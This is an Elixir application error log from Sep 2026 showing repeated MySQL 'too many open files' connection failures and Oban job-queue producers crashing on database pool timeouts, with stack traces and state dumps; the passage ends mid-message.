State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:07:06.243690Z], limit: 3, uuid: "59cbcb79-3330-4015-b443-6911889f3c0c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:07:06.243695Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.253162>, refresh_timer: #Reference<0.2525715032.1121189889.107658>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:07:20.228000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:07:20.509000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:07:20.788000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:07:24.830000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:07:25.647000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:07:25.882000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:07:30.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1065ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:07:18.261102Z], limit: 3, uuid: "c3369e21-b30b-4867-8051-b65d6b36905b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:07:18.261107Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.4148>, refresh_timer: #Reference<0.2525715032.1099431938.4138>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:07:30.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 821ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:07:18.261288Z], limit: 5, uuid: "69fef6ab-c4f4-4f20-816a-c15dad3c548c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:07:18.261293Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.107770>, refresh_timer: #Reference<0.2525715032.1099431938.4139>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:07:30.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1074ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:07:18.252512Z], limit: 5, uuid: "4b917c55-854e-4ee6-bb0d-c9aeb315d3a9", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:07:18.252518Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.107768>, refresh_timer: #Reference<0.2525715032.1121189889.107761>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:07:30.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 850ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:07:18.260894Z], limit: 50, uuid: "4a32df4d-6d9c-44b9-847c-ce4726cd7c4b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:07:18.260900Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.4147>, refresh_timer: #Reference<0.2525715032.1099431938.4137>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:07:30.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 853ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:07:18.249867Z], limit: 20, uuid: "2605422c-a851-4f36-812a-8f8eb6d9139c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:07:18.249875Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.253329>, refresh_timer: #Reference<0.2525715032.1068236804.253306>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:07:30.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 896ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:07:18.242548Z], limit: 10, uuid: "456a5195-5736-416a-a498-7f200aecf221", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:07:18.242555Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.107769>, refresh_timer: #Reference<0.2525715032.1099431938.4088>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:07:30.970000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:07:35.496000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:07:35.781000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:07:37.001000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:07:38.971000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:07:42.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 875ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:07:30.243827Z], limit: 20, uuid: "89976899-8117-4df1-85d0-33dd526e186a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:07:30.243832Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.4480>, refresh_timer: #Reference<0.2525715032.1099431938.4470>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:07:42.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1070ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:07:30.244474Z], limit: 10, uuid: "0c711fff-49bd-4b30-bdd9-e193140e78f9", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:07:30.244480Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.4484>, refresh_timer: #Reference<0.2525715032.1077411843.237076>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:07:42.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1052ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

